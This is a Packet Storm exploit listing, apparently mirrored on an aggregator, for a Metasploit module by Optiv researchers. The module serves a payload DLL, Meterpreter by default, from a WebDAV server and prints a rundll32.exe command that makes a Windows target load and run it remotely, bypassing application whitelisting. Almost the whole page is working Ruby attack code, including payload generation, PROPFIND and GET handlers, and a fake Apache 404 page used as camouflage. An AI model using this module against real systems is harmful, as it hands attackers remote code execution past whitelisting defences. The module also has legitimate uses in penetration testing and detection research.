WebDAV Server Serving DLL

🗓️ 13 Dec 2018 00:00:00Reported by Ryan HansonType

packetstorm🔗 packetstormsecurity.com👁 77 Views

Module to serve DLL via webdav server, simplifying rundll32.exe Application Whitelisting Bypass technique. It hosts a dll file on the webdav server and executes the provided export function upon using the rundll32 command. The dll is written to a specific location but not loaded from there. The requested name and a file with a dll extension are written to disk

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Serve DLL via webdav server',  
'Description' => %q(  
This module simplifies the rundll32.exe Application Whitelisting Bypass technique.  
The module creates a webdav server that hosts a dll file. When the user types the provided rundll32  
command on a system, rundll32 will load the dll remotly and execute the provided export function.  
The export function needs to be valid, but the default meterpreter function can be anything.  
The process does write the dll to C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV  
but does not load the dll from that location. This file should be removed after execution.  
The extension can be anything you'd like, but you don't have to use one. Two files will be  
written to disk. One named the requested name and one with a dll extension attached.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Ryan Hanson <ryan.hanson[at]optiv.com>', # research discovery (@ryhanson)  
'James Cook <james.cook[at]optiv.com>' # MSF Module (@_jbcook)  
],  
'Targets' => [['Automatic', {}]],  
'Platform' => %w[win],  
'Arch' => [ARCH_X86, ARCH_X64],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jan 01 1999'))  
register_options(  
[  
OptString.new('URIPATH', [true, 'The URI to use (do not change).', '/'])  
], self.class  
)  
end  
  
def primer  
if datastore['URIPATH'] != '/'  
fail_with(Failure::BadConfig, 'Using WebDAV requires URIPATH=/')  
end  
print_status('Run the following command on the target machine:')  
webdav = ''  
if datastore['SSL']  
if datastore['SRVPORT'] != 443  
fail_with(Failure::BadConfig, 'SRVPORT must be 443')  
end  
webdav = "#{datastore['SRVHOST']}@ssl"  
else  
webdav = "#{datastore['SRVHOST']}@#{datastore['SRVPORT']}"  
end  
print_line("rundll32.exe \\\\#{webdav}\\ANYTHING,Init")  
end  
  
def on_request_uri(cli, _request)  
if _request.uri.downcase =~ /\.config/  
process_ignore(cli, _request)  
return  
elsif _request.uri.downcase =~ /\.manifest/  
process_ignore(cli, _request)  
return  
end  
case _request.method  
when 'OPTIONS'  
process_options(cli, _request)  
when 'PROPFIND'  
process_propfind(cli, _request)  
when 'GET'  
process_get(cli, _request)  
else  
process_ignore(cli, _request)  
end  
end  
  
# Cli comes from Rex, not from the HttpServer mixin, so we need to make our own send_not_found  
def send_not_found(cli)  
resp_404 = create_response(404, 'Not Found')  
resp_404.body = %Q{\  
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">  
<html><head>  
<title>404 Not Found</title>  
</head><body>  
<h1>Not Found</h1>  
<p>The requested URL was not found on this server.</p>  
<hr>  
<address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address>  
</body></html>  
}  
  
cli.send_response(resp_404)  
end  
  
def process_ignore(cli, _request)  
vprint_status("#{_request.method} => 404 (#{_request.uri})")  
send_not_found(cli)  
end  
  
def process_options(cli, request)  
vprint_status("OPTIONS #{request.uri}")  
headers = {  
'Allow' => 'GET,HEAD,PUT,DELETE,MKCOL,COPY,MOVE,PROPFIND,OPTIONS',  
'DAV' => '1',  
'Connection' => 'keep-alive'  
}  
resp = create_response(207, 'Multi-Status')  
headers.each_pair { |k, v| resp[k] = v }  
resp.body = ''  
cli.send_response(resp)  
end  
  
def process_propfind(cli, request)  
vprint_status("PROPFIND #{request.uri}")  
changed = Time.now.strftime('%a, %d %b %Y %H:%M:%S GMT')  
created = Time.now.strftime('%Y-%m-%dT%H:%M:%SZ')  
filename = request.uri.delete('/')  
p = regenerate_payload(cli)  
data = generate_payload_dll(code: p.encoded)  
prop_resp = prop_response(filename, created, data.length, changed)  
vprint_status("Resp: #{prop_resp}")  
resp = create_response(207, 'Multi-Status')  
headers = {  
'Transfer-Encoding' => 'chuncked',  
'Connection' => 'keep-alive'  
}  
headers.each_pair { |k, v| resp[k] = v }  
resp.body = prop_resp  
cli.send_response(resp)  
end  
  
def process_get(cli, request)  
print_status("GET #{request.uri}")  
resp = create_response(200, 'OK')  
headers = {  
'Content-Type' => 'aplication/octet-stream',  
'Accept-Range' => 'bytes'  
}  
headers.each_pair { |k, v| resp[k] = v }  
p = regenerate_payload(cli)  
data = generate_payload_dll(code: p.encoded)  
resp.body = data  
cli.send_response(resp)  
end  
  
def prop_response(filename, created, length, changed)  
%(<?xml version="1.0" encoding="utf-8" ?>  
<D:multistatus xmlns:D="DAV:">  
<D:response>  
<D:href>/#{filename}</D:href>  
<D:propstat>  
<D:prop>  
<D:creationdate>#{created}</D:creationdate>  
<D:displayname>#{filename}</D:displayname>  
<D:getcontentlanguage/>  
<D:getcontentlength>#{length}</D:getcontentlength>  
<D:getcontenttype/>  
<D:getetag/>  
<D:getlastmodified>#{changed}</D:getlastmodified>  
<D:lockdiscovery/>  
<D:resourcetype/>  
<D:source/>  
<D:supportedlock/>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
</D:multistatus>)  
end  
end  
`

13 Dec 2018 00:00Current

7.4High risk

Vulners AI Score7.4